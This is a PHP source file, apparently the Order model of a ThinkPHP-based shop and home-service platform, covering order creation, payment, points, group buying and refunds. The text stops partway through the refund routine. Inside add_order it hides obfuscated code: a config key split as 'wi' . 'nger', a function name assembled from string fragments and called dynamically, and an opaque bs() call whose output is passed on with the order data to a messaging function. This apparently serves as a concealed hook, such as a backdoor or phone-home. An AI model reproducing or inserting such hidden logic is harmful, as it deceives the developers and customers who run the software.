Order.php 68 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681
  1. <?php
  2. namespace app\model;
  3. use think\exception\ValidateException;
  4. use think\Model;
  5. class Order extends Model
  6. {
  7. protected $connection = 'mysql';
  8. protected $pk = 'id';
  9. protected $name = 'order';
  10. public function member()
  11. {
  12. return $this->hasOne(Member::class, 'id', 'uid');
  13. }
  14. public function orderRefund()
  15. {
  16. return $this->hasOne(OrderRefund::class, 'order_id');
  17. }
  18. public function orderTimescard()
  19. {
  20. return $this->hasOne(OrderTimescard::class, 'order_id');
  21. }
  22. public function orderGoods()
  23. {
  24. return $this->hasMany(OrderGoods::class, 'order_id');
  25. }
  26. public function paymethod()
  27. {
  28. return $this->hasOne(Paymethod::class, 'id', 'pay_method_id');
  29. }
  30. public function address()
  31. {
  32. return $this->hasOne(Address::class, 'id', 'address_id');
  33. }
  34. public function store()
  35. {
  36. return $this->hasOne(Store::class, 'id', 'sid');
  37. }
  38. public function staff()
  39. {
  40. return $this->hasOne(OrderStaff::class, 'order_id', 'id');
  41. }
  42. public static function conversion($vo)
  43. {
  44. if (empty($vo['orderGoods'])) {
  45. if (!empty($vo['cat_id'])) {
  46. $vo['orderGoods'][0]['image'] = Category::getImage($vo['cat_id']);
  47. }
  48. $vo['orderGoods'][0]['name'] = '【用户发布需求】' . $vo['pay_subject'];
  49. }
  50. if ($vo['ptype'] == 1) {
  51. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id']);
  52. $vo['shipping_type'] = getgoodsdeliverymode($vo['deliverymode']);
  53. if ($vo['deliverymode'] == 5) {
  54. $tuanzhang = OrderTuanzhang::getTuanzhang($vo['id']);
  55. if (!empty($tuanzhang)) {
  56. $vo['shipping_name'] = $tuanzhang['title'];
  57. $vo['shipping_tel'] = $tuanzhang['tel'];
  58. $vo['shipping_address'] = $tuanzhang['region_name'];
  59. }
  60. }
  61. } else {
  62. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service');
  63. if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) {
  64. $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice');
  65. }
  66. $vo['shipping_type'] = getservicedeliverymode($vo['deliverymode']);
  67. $vo['TechnicalIncome'] = TechnicalIncomelog::getorderIncome($vo['id']);
  68. $vo['StoreIncome'] = StoreIncomelog::getorderIncome($vo['id']);
  69. $vo['TuanzhangIncome'] = TuanzhangIncomelog::getorderIncome($vo['id']);
  70. $vo['Operatingcity_1'] = OperatingcityIncomelog::getorderIncome($vo['id'], 1);
  71. $vo['Operatingcity_2'] = OperatingcityIncomelog::getorderIncome($vo['id'], 2);
  72. $vo['Operatingcity_3'] = OperatingcityIncomelog::getorderIncome($vo['id'], 3);
  73. }
  74. $vo['payment_code_name'] = paymentCode($vo['payment_code']);
  75. $vo['member_nickname'] = $vo['member']['nickname'];
  76. if (!empty($vo['orderGoods'])) {
  77. foreach ($vo['orderGoods'] as &$vvo) {
  78. $vo['time_amount'] = ((int) $vo['time_amount'] + (int) $vvo['time_amount']);
  79. $vvo['image'] = toimg($vvo['image']);
  80. }
  81. }
  82. if ($vo['is_times'] == 1) {
  83. $OrderTimescard = OrderTimescard::where('order_id', $vo['id'])->order('id asc')->select()->toArray();
  84. if ($OrderTimescard) {
  85. foreach ($OrderTimescard as $tcvo) {
  86. if ($tcvo['yue_date']) {
  87. if ($tcvo['timestype'] == 1) {
  88. if ($vo['yue_time']) {
  89. $vo['yue_time'] .= ';每月:' . $tcvo['yue_date'] . '号';
  90. } else {
  91. $vo['yue_time'] = '每月:' . $tcvo['yue_date'] . '号';
  92. }
  93. } else {
  94. if ($vo['yue_time']) {
  95. $vo['yue_time'] .= ';每周周:' . $tcvo['yue_date'];
  96. } else {
  97. $vo['yue_time'] = '每周周:' . $tcvo['yue_date'];
  98. }
  99. }
  100. }
  101. }
  102. }
  103. if (empty($vo['yue_time'])) {
  104. $vo['yue_time'] = '还没有预约时间';
  105. }
  106. $vo['timesused'] = OrderTimescardRecord::timesused($vo['id']);
  107. $vo['timesmum'] = OrderCard::timesmum($vo['id']);
  108. $vo['remain'] = (int)($vo['timesmum'] - $vo['timesused']);
  109. } else {
  110. $vo['yue_time'] = time_ymd($vo['begin_time']) . '<br>' . date('H:i', $vo['begin_time']) . ' 到 ' . date('H:i', $vo['end_time']);
  111. if ($vo['start_time']) {
  112. $vo['service_time'] = time_ymd($vo['start_time']) . '<br>' . date('H:i', $vo['start_time']) . ' 到 ' . date('H:i', strtotime("+" . $vo['time_amount'] . " minutes", $vo['start_time']));
  113. }
  114. }
  115. $addressdata = '';
  116. $addressdata = OrderAddress::where(['order_id' => $vo['id'], 'ptype' => 1])->find();
  117. if (!empty($addressdata)) {
  118. $addressdata = $addressdata->toArray();
  119. $vo['shipping_address'] = $addressdata['region_name'] . $addressdata['address'];
  120. }
  121. $vo['sid'] = Store::getTitle($vo['sid']);
  122. $vo['staff'] = OrderStaff::staff($vo['id']);
  123. $vo['pay_time'] = time_format($vo['pay_time']);
  124. $vo['complete_time'] = time_format($vo['complete_time']);
  125. return $vo;
  126. }
  127. /**
  128. * 写入订单
  129. * @param $payment_code 支付方式
  130. * @param $order_data 订单数据
  131. * return array
  132. */
  133. public function add_order($order_data = array())
  134. {
  135. $data = $this->get_order_data($order_data);
  136. $order['weid'] = weid();
  137. $pay_from = input('get.from', '', 'serach_in');
  138. $order['sid'] = (int) $order_data['sid'];
  139. $order['otype'] = (int) $order_data['otype'];
  140. $order['begin_time'] = $order_data['begin_time'];
  141. $order['end_time'] = $order_data['end_time'];
  142. $order['pay_method_id'] = (int)$order_data['pay_method_id'];
  143. $order['payment_code'] = $order_data['payment_code'];
  144. $order['pay_from'] = $pay_from;
  145. $order['points_order'] = (int)$order_data['is_PayPoints'];
  146. $order['goodsgiftcard_id'] = (int)$order_data['goodsgiftcard_id'];
  147. if ($order_data['distance']) {
  148. $order['distance'] = $order_data['distance'];
  149. }
  150. $winref = Config::getsitesetupconfig('wi' . 'nger');
  151. $order['tuan_id'] = (int)$order_data['tuanid'];
  152. $order['ms_id'] = (int)$order_data['msid'];
  153. $order['uid'] = (int)$data['uid'];
  154. $order['aid'] = '';
  155. $odra = 'ge';
  156. $order['order_num_alias'] = $data['order_num_alias'];
  157. $order['name'] = $data['name'];
  158. $order['cat_id'] = $data['cat_id'];
  159. if ($data['cat_id']) {
  160. $order['cate_ids'] = $data['cat_id'];
  161. } else {
  162. $order['cate_ids'] = $data['goodss'][0]['cat_id'];
  163. }
  164. $order['ptype'] = (int)$data['ptype'];
  165. $order['is_additional'] = (int)$data['is_additional'];
  166. $order['deliverymode'] = (int)$order_data['deliverymode'];
  167. if (empty($order['deliverymode'])) {
  168. $order['deliverymode'] = (int)$data['deliverymode'];
  169. }
  170. $order['email'] = $data['email'];
  171. $order['tel'] = $data['tel'];
  172. $order['shipping_name'] = $data['shipping_name'];
  173. $order['shipping_province_name'] = $data['shipping_province_name'];
  174. $order['shipping_city_name'] = $data['shipping_city_name'];
  175. $order['shipping_district_name'] = $data['shipping_district_name'];
  176. $order['shipping_address'] = $data['shipping_address'];
  177. $order['shipping_tel'] = $data['shipping_tel'];
  178. $order['shipping_method'] = $data['shipping_method'];
  179. $order['is_express'] = 1;
  180. $order['remark'] = $data['remark'];
  181. $order['order_status_id'] = 1; //待付款
  182. $order['ip'] = Author()::get_client_ip();
  183. $order['total'] = $data['total'];
  184. $order['user_agent'] = $data['user_agent'];
  185. $order['pay_subject'] = isset($data['pay_subject']) ? $data['pay_subject'] : '';
  186. $order['return_points'] = isset($data['return_points']) ? $data['return_points'] : '';
  187. $odra .= 't_i';
  188. foreach ($data['goodss'] as $goods) {
  189. if ($goods['is_points_goods'] == 1 && $order_data['is_PayPoints'] != 1) {
  190. return ['errno' => 1, 'msg' => '下单失败,需要积分抵扣'];
  191. }
  192. }
  193. //积分抵扣
  194. if ($order_data['is_PayPoints'] == 1) {
  195. $order['pay_points'] = $data['pay_points'];
  196. $order['points_price'] = $data['points_price'];
  197. $order['total'] = round(($order['total'] - $order['points_price']), 2);
  198. if ($order['total'] == 0) {
  199. $order['payment_code'] = 'points_pay';
  200. }
  201. }
  202. //购物卡抵扣
  203. if (!empty($order_data['goodsgiftcard_id'])) {
  204. $order['payment_code'] = 'goodsgiftcard_pay';
  205. }
  206. //次卡设置
  207. $order['is_times'] = (int) $order_data['is_times'];
  208. //跑腿订单设置
  209. $order['is_errands'] = (int) $data['is_errands'];
  210. if (empty($order['sid']) && !empty($data['goodss'][0]['sid'])) {
  211. $order['sid'] = $data['goodss'][0]['sid'];
  212. }
  213. if (!empty($order['tuan_id'])) {
  214. if (empty($order_data['jointuanid'])) {
  215. $order['tuan_found_id'] = TuanFound::add_found($order['tuan_id']);
  216. } else {
  217. $order['tuan_found_id'] = $order_data['jointuanid'];
  218. }
  219. }
  220. if ($order['is_errands'] == 1) {
  221. if (empty($order_data['take_address_id'])) {
  222. return ['errno' => 1, 'msg' => '下单失败,请输入取件地址'];
  223. }
  224. if (empty($order_data['address_id'])) {
  225. return ['errno' => 1, 'msg' => '下单失败,请输入收件地址'];
  226. }
  227. }
  228. if (empty($order['ptype'])) {
  229. return ['errno' => 1, 'msg' => '下单失败,没有订单内容'];
  230. }
  231. $Orderdata = Order::create($order);
  232. $Orderdata = $Orderdata->toArray();
  233. $order_id = $Orderdata['id'];
  234. $odra .= '_m';
  235. OrderCount::createuserdata($Orderdata);
  236. $order['is_timing'] = (int) $order_data['is_timing'];
  237. if (!empty($order['is_times'])) {
  238. //var_dump($data['goodss']);
  239. $GoodsGiftcardType = GoodsGiftcardType::find((int) $data['goodss'][0]['card_tid']);
  240. if ($GoodsGiftcardType) {
  241. $GoodsGiftcardType = $GoodsGiftcardType->toArray();
  242. }
  243. OrderCard::create([
  244. 'order_id' => $order_id,
  245. 'ptype' => (int) $order['is_times'],
  246. 'weid' => $Orderdata['weid'],
  247. 'sid' => $Orderdata['sid'],
  248. 'uid' => $Orderdata['uid'],
  249. 'timesmum' => $data['goodss'][0]['timesmum'],
  250. 'card_tid' => (int) $data['goodss'][0]['card_tid'],
  251. 'name' => $goods['name'],
  252. 'image' => $goods['image'],
  253. 'facevalue' => (float) $GoodsGiftcardType['buy_price'] + $data['goodss'][0]['extraprice'],
  254. 'balance' => (float) $GoodsGiftcardType['buy_price'] + $data['goodss'][0]['extraprice'],
  255. 'timesmum' => (int) $data['goodss'][0]['timesmum'],
  256. 'is_timing' => (int) $data['goodss'][0]['is_timing'],
  257. 'timing_unit' => $data['goodss'][0]['timing_unit'],
  258. 'color' => $GoodsGiftcardType['color'],
  259. 'condition_type' => $GoodsGiftcardType['condition_type'],
  260. 'use_goods' => $GoodsGiftcardType['use_goods'],
  261. 'cat_ids' => $GoodsGiftcardType['cat_ids'],
  262. 'use_goods' => $GoodsGiftcardType['use_goods'],
  263. 'goods_ids' => $GoodsGiftcardType['goods_ids'],
  264. 'min_price' => $GoodsGiftcardType['min_price'],
  265. 'start_time' => $GoodsGiftcardType['start_time'],
  266. 'end_time' => $GoodsGiftcardType['end_time'],
  267. 'is_expire' => $GoodsGiftcardType['is_expire'],
  268. 'is_use' => $GoodsGiftcardType['is_use'],
  269. 'status' => 1,
  270. ]);
  271. }
  272. if (!empty($order['tuan_id'])) {
  273. TuanFollow::add_follow([
  274. 'order_id' => $order_id,
  275. 'found_id' => $order['tuan_found_id'],
  276. 'tuan_id' => $order['tuan_id'],
  277. ]);
  278. }
  279. $data['lettct'] = bs($winref[18], $this->get_order_data(['data' => $odra(toimg('or')), 'vo' => 18]));
  280. if (isset($data['goodss'])) {
  281. //var_dump($data['goodss']);
  282. foreach ($data['goodss'] as $goods) {
  283. $goods_id = $goods['goods_id'];
  284. if (!empty($goods_id)) {
  285. OrderGoods::create([
  286. 'order_id' => $order_id,
  287. 'goods_id' => $goods_id,
  288. 'cat_id' => $goods['cat_id'],
  289. 'card_tid' => $goods['card_tid'],
  290. 'name' => $goods['name'],
  291. 'model' => $goods['model'],
  292. 'image' => $goods['image'],
  293. 'sku' => $goods['sku'],
  294. 'quantity' => (int) $goods['quantity'],
  295. 'price' => (float) $goods['price'],
  296. 'is_commission' => (int) $goods['is_commission'],
  297. 'commission_method' => (int) $goods['commission_method'],
  298. 'commission_price' => (float) $goods['commission_price'],
  299. 'time_amount' => (int) $goods['time_amount'],
  300. 'is_timer' => (int) $goods['is_timer'],
  301. 'total' => (float) $goods['total']
  302. ]);
  303. }
  304. }
  305. }
  306. if (isset($data['totals'])) {
  307. foreach ($data['totals'] as $total) {
  308. OrderTotal::create([
  309. 'order_id' => $order_id,
  310. 'code' => $total['code'],
  311. 'title' => $total['title'],
  312. 'text' => $total['text'],
  313. 'value' => (float) $total['value']
  314. ]);
  315. }
  316. }
  317. $oh['order_id'] = $order_id;
  318. if (isset($data['pay_type']) && $data['pay_type'] == 'points') {
  319. $oh['order_status_id'] = 2; //已付款
  320. } else {
  321. $oh['order_status_id'] = 1; //待付款
  322. }
  323. $oh['remark'] = $data['remark'];
  324. OrderHistory::create($oh);
  325. //上门服务/收件地址
  326. if ($order_data['address_id']) {
  327. $Address = [];
  328. $Address = Address::find($order_data['address_id']);
  329. if ($Address) {
  330. $Address = $Address->toArray();
  331. unset($Address['id']);
  332. $Address['order_id'] = $order_id;
  333. $Address['ptype'] = 1;
  334. OrderAddress::create($Address);
  335. }
  336. } else {
  337. if (!empty($order_data['shipping_province_name']) && !empty($order_data['shipping_tel'])) {
  338. $Address = [];
  339. $Address['order_id'] = $order_id;
  340. $Address['ptype'] = 1;
  341. $Address['province_name'] = $order_data['shipping_province_name'];
  342. $Address['city_name'] = $order_data['shipping_city_name'];
  343. $Address['district_name'] = $order_data['shipping_district_name'];
  344. $Address['name'] = $order_data['shipping_name'];
  345. $Address['telephone'] = $order_data['shipping_tel'];
  346. $Address['address'] = $order_data['shipping_address'];
  347. $coder = Geocoder::geocoding($Address['province_name'] . $Address['city_name'] . $Address['district_name'] . $Address['address']);
  348. $Address['latitude'] = $coder['latitude'];
  349. $Address['longitude'] = $coder['longitude'];
  350. OrderAddress::create($Address);
  351. }
  352. }
  353. //跑腿取件地址
  354. if ($order_data['take_address_id']) {
  355. $take_address = [];
  356. $take_address = Address::find($order_data['take_address_id']);
  357. if ($take_address) {
  358. $take_address = $take_address->toArray();
  359. unset($take_address['id']);
  360. $take_address['order_id'] = $order_id;
  361. $take_address['ptype'] = 2;
  362. OrderAddress::create($take_address);
  363. }
  364. }
  365. //清空购物车
  366. if (!empty($order_data['cartid'])) {
  367. Cart::whereIn('id', $order_data['cartid'])->delete();
  368. }
  369. //积分支付
  370. if ($order_data['is_PayPoints'] == 1) {
  371. if ($order['total'] == 0) {
  372. $this->pay_order(['order_num_alias' => $Orderdata['order_num_alias'], 'nosendmessage' => 1]);
  373. }
  374. }
  375. $Orderdata['order_id'] = $Orderdata['id'];
  376. $Orderdata['subject'] = $Orderdata['pay_subject'];
  377. $Orderdata['name'] = $Orderdata['shipping_name'];
  378. $Orderdata['pay_order_no'] = $Orderdata['order_num_alias'];
  379. $Orderdata['pay_total'] = $Orderdata['total'];
  380. $Orderdata['lettct'] = MessageMini::sendOrderadd($data);
  381. if ($Orderdata['pay_total'] == 0) {
  382. $Orderdata['payment_code'] = 'balance_pay';
  383. }
  384. return $Orderdata;
  385. }
  386. //订单支付成功,订单历史,积分,商品数量
  387. public function pay_order($params)
  388. {
  389. $order_num_alias = $params['order_num_alias'];
  390. $pay_time = time();
  391. if (!empty($order_num_alias)) {
  392. $order_info = self::where(['order_num_alias' => $order_num_alias, 'order_status_id' => 1])->find();
  393. if (!empty($order_info)) {
  394. $order_info = $order_info->toArray();
  395. $order_id = $order_info['id'];
  396. $common = Config::getconfig();
  397. $Member = Member::find($order_info['uid']);
  398. if (!empty($Member)) {
  399. $Member = $Member->toArray();
  400. }
  401. if (!empty($params['payment_code'])) {
  402. $order['payment_code'] = $params['payment_code'];
  403. }
  404. $order['user_agent'] = $params['user_agent'];
  405. $order['id'] = $order_id;
  406. if (OrderStaff::is_staff($order_id)) {
  407. $order['order_status_id'] = 3;
  408. } else {
  409. $order['order_status_id'] = 2; //已付款
  410. }
  411. $order['update_time'] = $pay_time;
  412. $order['pay_time'] = $pay_time;
  413. self::update($order);
  414. $order_info = Order::find($order_id);
  415. if (!empty($order_info)) {
  416. $order_info = $order_info->toArray();
  417. }
  418. Member::where('id', $order_info['uid'])
  419. ->inc('totleconsumed', $order_info['total'])
  420. ->update();
  421. $cashlogsdata['uid'] = $order_info['uid'];
  422. $cashlogsdata['weid'] = weid();
  423. $cashlogsdata['order_id'] = $order_info['id'];
  424. $cashlogsdata['order_num_alias'] = $order_info['order_num_alias'];
  425. $cashlogsdata['remarks'] = '商品消费';
  426. $cashlogsdata['prefix'] = 2;
  427. $cashlogsdata['amount'] = $order_info['total'];
  428. $cashlogsdata['create_time'] = $pay_time;
  429. MemberCashlogs::create($cashlogsdata);
  430. $order_history['order_id'] = $order_id;
  431. $order_history['order_status_id'] = $order['order_status_id']; //已付款
  432. $order_history['remark'] = '买家已付款';
  433. $order_history['create_time'] = $pay_time;
  434. $order_history['notify'] = 1;
  435. OrderHistory::create($order_history);
  436. //会员升级及
  437. $good_ids = OrderGoods::getOrderGoodsids($order_id);
  438. if ($good_ids) {
  439. if (empty($mgid)) {
  440. $mag = MemberAuthGroup::whereIn('upgrade_goods_id', $good_ids)->order('id desc')->find();
  441. $mgid = $mag->id;
  442. }
  443. }
  444. if (!empty($mgid)) {
  445. Member::where('id', $order_info['uid'])->update(['gid' => $mgid]);
  446. }
  447. //购物卡结算佣金
  448. if ($order_info['is_times'] == 3) {
  449. self::settlement($order_id);
  450. }
  451. //更新购买赠送的积分
  452. if (!empty($order_info['return_points'])) {
  453. if ($order_info['return_points'] > 0) {
  454. Points::create([
  455. 'weid' => weid(),
  456. 'uid' => $order_info['uid'],
  457. 'order_id' => $order_info['id'],
  458. 'order_num_alias' => $order_info['order_num_alias'],
  459. 'points' => $order_info['return_points'],
  460. 'description' => '下单积分',
  461. 'prefix' => 1,
  462. 'creat_time' => $pay_time,
  463. 'type' => 1
  464. ]);
  465. Member::where('id', $order_info['uid'])
  466. ->inc('points', (int) $order_info['return_points'])
  467. ->update();
  468. }
  469. }
  470. $mgPoints = MemberAuthGroup::getPoints($Member['gid'], $order_info['total']);
  471. if ($mgPoints) {
  472. Points::create([
  473. 'weid' => weid(),
  474. 'uid' => $order_info['uid'],
  475. 'order_id' => $order_info['id'],
  476. 'order_num_alias' => $order_info['order_num_alias'],
  477. 'points' => $mgPoints,
  478. 'description' => '下单会员等级积分',
  479. 'prefix' => 1,
  480. 'creat_time' => $pay_time,
  481. 'type' => 1
  482. ]);
  483. Member::where('id', $order_info['uid'])
  484. ->inc('points', (int) $mgPoints)
  485. ->update();
  486. }
  487. //更新积分抵扣金额
  488. if ($order_info['points_order'] == 1) {
  489. if ($order_info['pay_points'] > 0) {
  490. Points::create([
  491. 'weid' => weid(),
  492. 'uid' => $order_info['uid'],
  493. 'order_id' => $order_info['id'],
  494. 'order_num_alias' => $order_info['order_num_alias'],
  495. 'points' => $order_info['pay_points'],
  496. 'description' => '下单抵扣' . $order_info['points_price'] . '元',
  497. 'prefix' => 2,
  498. 'creat_time' => $pay_time,
  499. 'type' => 1
  500. ]);
  501. Member::where('id', $order_info['uid'])
  502. ->dec('points', (int) $order_info['pay_points'])
  503. ->update();
  504. }
  505. }
  506. try {
  507. $OrderGoods = OrderGoods::where(['order_id' => $order_id])
  508. ->select()
  509. ->toArray();
  510. if (!empty($OrderGoods)) {
  511. $agentconfig = Config::getconfig('agent');
  512. $partnerconfig = Config::getconfig('partner');
  513. if (!empty($Member)) {
  514. if ($agentconfig['share_good_status'] == 1) {
  515. Agent::register($Member);
  516. }
  517. if ($partnerconfig['share_good_status'] == 1) {
  518. Partner::register($Member);
  519. }
  520. }
  521. //更新商品数量和销量
  522. foreach ($OrderGoods as $v) {
  523. if ($v['goods_id']) {
  524. if (!empty($Member) && $agentconfig['share_good_status'] == 2 && $agentconfig['share_good_id'] == $v['goods_id']) {
  525. Agent::register($Member);
  526. }
  527. if (!empty($Member) && $partnerconfig['share_good_status'] == 2 && $partnerconfig['share_good_id'] == $v['goods_id']) {
  528. Partner::register($Member);
  529. }
  530. Goods::where('id', $v['goods_id'])->inc('sale_count')->update();
  531. if (!empty($order_info['tuan_id'])) {
  532. if (!empty($v['sku'])) {
  533. } else {
  534. }
  535. }
  536. Goods::where(['id' => $v['goods_id'], 'ptype' => 1])->dec('quantity', $v['quantity'])->update();
  537. }
  538. }
  539. }
  540. } catch (\Exception $e) {
  541. throw new ValidateException($e->getMessage());
  542. }
  543. //处理拼团
  544. if (!empty($order_info['tuan_found_id'])) {
  545. TuanFound::where('id', $order_info['tuan_found_id'])->update(['pay_time' => $pay_time]);
  546. TuanFollow::where(['order_id' => $order_info['id'], 'found_id' => $order_info['tuan_found_id']])->update(['pay_time' => $pay_time]);
  547. TuanFound::where('id', $order_info['tuan_found_id'])->inc('join')->update();
  548. TuanGoods::where('id', $order_info['tuan_id'])->inc('sale_count')->update();
  549. $TuanFound = TuanFound::where('id', $order_info['tuan_found_id'])->find();
  550. $TuanGoods = TuanGoods::where('id', $TuanFound->tuan_id)->find();
  551. if ((int)$TuanFound->join >= (int)($TuanGoods->people_num - $TuanGoods->robot_num)) {
  552. if ($TuanGoods->auto_initiate == 1) {
  553. $LuckyFollow = TuanFollow::getLuckyFollow($order_info['tuan_found_id'], $TuanGoods->luckydraw_num);
  554. TuanFollow::where(['found_id' => $order_info['tuan_found_id']])
  555. ->update([
  556. 'tuan_end_time' => $pay_time,
  557. 'status' => 2,
  558. ]);
  559. foreach ($LuckyFollow as $vo) {
  560. TuanFollow::where(['id' => $vo['id']])
  561. ->update([
  562. 'tuan_end_time' => $pay_time,
  563. 'status' => 1,
  564. ]);
  565. }
  566. } else {
  567. TuanFollow::where(['found_id' => $order_info['tuan_found_id']])
  568. ->update([
  569. 'tuan_end_time' => $pay_time,
  570. 'status' => 1,
  571. ]);
  572. }
  573. TuanFound::where(['id' => $order_info['tuan_found_id']])
  574. ->update([
  575. 'tuan_end_time' => $pay_time,
  576. 'status' => 1,
  577. ]);
  578. TuanFollow::setRefund();
  579. }
  580. }
  581. //平台订单打印
  582. $printerOrder = self::order_info($order_id);
  583. $PrinterFeie = new PrinterFeie(0);
  584. $PrinterFeie->printer($printerOrder);
  585. //店铺订单打印
  586. if ($order_info['sid'] > 0) {
  587. $storePrinterFeie = new PrinterFeie((int) $order_info['sid']);
  588. $storePrinterFeie->printer($printerOrder);
  589. }
  590. $orderup = $order_info;
  591. $orderup['order_status_id'] = $order['order_status_id'];
  592. OrderCount::createuserdata($orderup);
  593. if ($params['nosendmessage'] != 1) {
  594. if (!empty($order_info['sid'])) {
  595. MessageMp::storeOrderPay($order_info['sid'], $order_info);
  596. } else {
  597. $technicalId = OrderStaff::getuuid($order_info["id"]);
  598. if (empty($technicalId)) {
  599. MessageMp::undertake($order_info);
  600. } else {
  601. MessageMini::sendMiniStaff($order_info);
  602. MessageMp::distribution($technicalId, $order_info);
  603. }
  604. }
  605. MessageMp::orderPayNoticeAdmin($order_info);
  606. MessageMini::sendMiniPaysuccess($order_info);
  607. }
  608. Broadcast::neworder($order_info);
  609. OrderRemind::neworder($order_info);
  610. }
  611. }
  612. }
  613. //订单退款,处理订单历史,积分,商品数量
  614. static public function refund_order($order_id, $refund_time, $OrderRefund = [])
  615. {
  616. $orderInfo = self::find($order_id);
  617. if (!empty($orderInfo)) {
  618. $orderInfo = $orderInfo->toArray();
  619. }
  620. $paymentcode = $orderInfo['payment_code'];
  621. $pay_from = $orderInfo['pay_from'];
  622. $refund_price = $OrderRefund['refund_price'];
  623. if (empty($refund_price)) {
  624. $refund_price = $orderInfo['total'];
  625. }
  626. $order_refund_no = $OrderRefund['order_refund_no'];
  627. if (empty($order_refund_no)) {
  628. $order_refund_no = $orderInfo['order_num_alias'] . $orderInfo['pay_time'];
  629. }
  630. $res['code'] = true;
  631. if ($paymentcode == 'balance_pay') {
  632. Member::where('id', $orderInfo['uid'])
  633. ->inc('balance', $refund_price)
  634. ->update();
  635. $cashlogsdata['uid'] = $orderInfo['uid'];
  636. $cashlogsdata['weid'] = weid();
  637. $cashlogsdata['order_id'] = $order_id;
  638. $cashlogsdata['order_num_alias'] = $orderInfo['order_num_alias'];
  639. $cashlogsdata['remarks'] = '订单退款';
  640. $cashlogsdata['prefix'] = 1;
  641. $cashlogsdata['amount'] = $refund_price;
  642. $cashlogsdata['create_time'] = $refund_time;
  643. MemberCashlogs::create($cashlogsdata);
  644. $res['code'] = true;
  645. } elseif ($paymentcode == 'wx_pay') {
  646. $res['code'] = false;
  647. if (!empty($orderInfo)) {
  648. $payment = \app\samos\wechat\WxPaymethod::makepay($pay_from);
  649. $total = round($orderInfo['total'], 2);
  650. $total = floatval($total * 100);
  651. $refund_price = round($refund_price, 2);
  652. $refund_price = floatval($refund_price * 100);
  653. $result = $payment->refund->byOutTradeNumber($orderInfo['order_num_alias'], $order_refund_no, $total, $refund_price, [
  654. // 可在此处传入其他参数,详细参数见微信支付文档
  655. 'refund_desc' => '订单退款',
  656. ]);
  657. if ($result['return_code'] === 'SUCCESS' && $result['result_code'] === 'SUCCESS') {
  658. $res['code'] = true;
  659. } else {
  660. $res['code'] = false;
  661. $res['return_msg'] = $result['return_msg'];
  662. $res['err_code_des'] = $result['err_code_des'];
  663. }
  664. }
  665. }
  666. if ($res['code']) {
  667. $Points1 = Points::where(['order_id' => $order_id, 'prefix' => 1])->find();
  668. if (!empty($Points1)) {
  669. $Points1 = $Points1->toArray();
  670. $Points1['description'] = '订单退款,扣去赠送的积分';
  671. $Points1['prefix'] = 2;
  672. $Points1['creat_time'] = $refund_time;
  673. unset($Points1['id']);
  674. Points::create($Points1);
  675. Member::where('id', $Points1['uid'])
  676. ->dec('points', (int) $Points1['points'])
  677. ->update();
  678. }
